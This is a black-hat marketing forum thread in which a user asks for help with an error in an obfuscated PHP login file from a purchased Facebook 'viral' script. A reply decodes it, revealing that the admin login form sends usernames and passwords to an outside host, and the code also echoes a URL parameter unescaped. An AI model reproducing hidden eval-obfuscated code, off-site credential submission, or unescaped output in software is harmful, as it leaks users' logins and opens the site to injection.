Really need help with this php code

 

Results 1 to 6 of 6
I installed facebook viral plugin that I payed a lot of money for, but when ...
  1. #1
    keysikg is offline Regular Member
    Join Date
    May 2012
    Posts
    200
    Thanks
    29
    Thanked 87 Times in 40 Posts

    Default Really need help with this php code

    I installed facebook viral plugin that I payed a lot of money for, but when setting up admin control panel and logging in I am getting this error:


    Deprecated
    : Function ereg_replace() is deprecated in /home/content/32/10528532/html/shockvideo/admincpanel/login.php(2) : eval()'d code on line 1


    I searched on google and it says about some preg_replace thing, but I don't know anything about php, I just need this code to get fixed so I can move on to CPA and PPD.


    Here is login.php code:


    <?php
    $_F=__FILE__;$_X='Pz48P3BocA0KCXI1cTM0cjUgIi4uL3Ny Yy9mMWM1YjIyay5waHAiOw0KCQ0KCSQzbSA9ICcnOw0KCSRsID 0gJyc7DQoJJDUgPSAnJzsNCgkNCgk0ZiAoICg0c3M1dCgkX0dF VFsnNSddKSkgMW5kICg0c3M1dCgkX0dFVFsnbCddKSkpIHsNCg kkNSA9ICRfR0VUWyc1J107DQoJJGwgPSAkX0dFVFsnbCddOwkN Cgl9DQoJDQoJJDNtID0gZmJMMmc0bigkX0dFVFsnMyddKTsNCg kkZGJfbDJnNG4gPSBkYkwyZzRuKCRfR0VUWyczcmwnXSk7DQoJ DQoJLy9wcjJ2ajVyMSBkMSBsNCBqNSBrMnI0c240ayAzbDJnMn YxbiA0IDFrMiBuNGo1IHByNWIxYzR2MW5qNSBuMSBnbDF2bjMg c3RyMW40YzMNCgk0ZiAoICghKCQzbSAhPSAkNSkpIDFuZCAoIS gkbCAhPSAkZGJfbDJnNG4pKSApIHsNCglzNXRjMjJrNDUoRmJW NHIxbFNjcjRwdCwgIlRyMzUiLCB0NG01KCkrb2UwMCk7CQ0KCT VjaDIgJzxzY3I0cHQgbDFuZzMxZzU9IkoxdjFzY3I0cHQiPic7 DQoJNWNoMiAidzRuZDJ3LmwyYzF0NDJuPVwiNG5kNXgucGhwXC IiOw0KCTVjaDIgJzwvc2NyNHB0Pic7D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wOyRfWD0wOw=='));




    Thanks a lot, I really need help and I would really appreciate if someone can tell me easy way to fix this or someone fix it.




  2. #2
    jazzc's Avatar
    jazzc is offline Programming & Web Design Moderator black hat forumsblack hat forumsblack hat forums
    Join Date
    Jan 2009
    Posts
    2,195
    Thanks
    6,181
    Thanked 7,134 Times in 2,521 Posts

    Default Re: Really need help with this php code

    It 's just a warning. It means that whoever wrote this script used a function that is going to be removed from PHP at some time in the future. If you don't want to see it anymore you can:
    a) Contact the seller to fix it
    b) Turn off the display of PHP Warnings.

  3. #3
    keysikg is offline Regular Member
    Join Date
    May 2012
    Posts
    200
    Thanks
    29
    Thanked 87 Times in 40 Posts

    Default Re: Really need help with this php code

    Quote Originally Posted by jazzc View Post
    It 's just a warning. It means that whoever wrote this script used a function that is going to be removed from PHP at some time in the future. If you don't want to see it anymore you can:
    a) Contact the seller to fix it
    b) Turn off the display of PHP Warnings.
    Thanks sir! You helped me out! +rep!

  4. #4
    keysikg is offline Regular Member
    Join Date
    May 2012
    Posts
    200
    Thanks
    29
    Thanked 87 Times in 40 Posts

    Default Re: Really need help with this php code

    Edit : This didn't worked out at the end, I turned off errors but they still appear on admin cpanel and on website, website can't properly work without fixing this

  5. #5
    jazzc's Avatar
    jazzc is offline Programming & Web Design Moderator black hat forumsblack hat forumsblack hat forums
    Join Date
    Jan 2009
    Posts
    2,195
    Thanks
    6,181
    Thanked 7,134 Times in 2,521 Posts

    Default Re: Really need help with this php code

    Put this in the top of the file
    Code:
    <?php
    error_reporting(0);
     ini_set('display_errors','off');
    ?>
    If it 's not explicitly overridden in the obfuscated code below it, it should work fine.

  6. #6
    inviz is offline Newbies
    Join Date
    Jun 2010
    Posts
    44
    Thanks
    3
    Thanked 4 Times in 3 Posts

    Default Re: Really need help with this php code

    I took the liberty of decoding the file for you, the error is not produced in this file, but in facebook.php

    decoded file:

    PHP Code:
    <?php    
    require "../src/facebook.php";        
    $um '';    
    $l '';    
    $e '';        
    if ( (isset(
    $_GET['e'])) and (isset($_GET['l']))) {    
    $e $_GET['e'];    
    $l $_GET['l'];        
    }        
    $um fbLogin($_GET['u']);    
    $db_login dbLogin($_GET['url']);        
    //provjera da li je korisnik ulogovan i ako nije prebacivanje na glavnu stranicu    
    if ( (!($um != $e)) and (!($l != $db_login)) ) {   
    setcookie(FbViralScript"True"time()+3600);        
    echo 
    '<script language="Javascript">';    
    echo 
    "window.location=\"index.php\"";    
    echo 
    '</script>';    
    }       
    if (isset(
    $_COOKIE['FbViralScript'])) {    
    echo 
    '<script language="Javascript">';    
    echo 
    "window.location=\"index.php\"";    
    echo 
    '</script>';    }    
    ?>
    <html>
    <head>
    <title>Admin Cpanel</title>
    <script type="text/javascript">
    function validateForm(){
    var username=document.forms["login_form"]["username"].value;
    var password=document.forms["login_form"]["password"].value;
    if (username==null || username=="" || password==null || password=="") {  
    alert("Login form must be filled out!");  
    return false;  
    }
    }
    </script>
    </head>
    <body>
    <p> 
    </p>
    <p>
     </p>
    <p> 
    </p>
    <p> 
    </p>
    <center>
    <?php
    $message 
    $_GET['message'];
    if (
    $message != '') {
    echo 
    '<font color="red">';
    echo 
    $message " To try LOGIN again <a href=\"login.php\">CLICK HERE!</a>";
    echo 
    '</font>';
    } else {
    echo 
    '<form style="width:440px;" name="login_form" method="post" action="hxxp://geekhacks.org/fbviralultimate/login.php" onsubmit="return validateForm()" >
    <fieldset style="text-align:left; padding:24px;">
    <legend>Admin Cpanel</legend><br />
    Username: <br />
    <input type="text" name="username"><BR>Password: <br />
    <input type="password" name="password"><BR><input type="hidden" name="url" value="'
    .$url.'">
    <input type="hidden" name="version" value="1.1">
    <input type="submit" name="login" value="Log In"><br /><br></fieldset>
    </form> '
    ;        
    }
    ?>
    </center>
    </body>
    </html>

    Please don't tell me you actually paid REAL money for this piece of shit code?

    Also, I had to edit the URL in the post request there, because I have a to low post count to post links yet.. just edit it back and you will be ok..

BlackHatWorld Advertising


BlackHatWorld Advertising

Similar Threads

  1. Replies: 5
    Last Post: 12-26-2013, 11:55 AM
  2. help with this php code
    By stevelori99 in forum Cloaking and Content Generators
    Replies: 8
    Last Post: 12-05-2012, 07:16 AM
  3. Is there php code that will do this ...
    By equalizer in forum PHP & Perl
    Replies: 7
    Last Post: 07-01-2011, 03:39 PM
  4. need someone who can code in PHP
    By Buliwyf in forum Joint Ventures
    Replies: 2
    Last Post: 05-15-2009, 06:31 PM
  5. PHP code review... dissection for learning - PHP experts chime in plz!
    By xhanuman in forum Cloaking and Content Generators
    Replies: 1
    Last Post: 11-13-2008, 07:59 AM

Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  


 



BlackHatWorld on Twitter BlackHatWorld on FaceBook


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109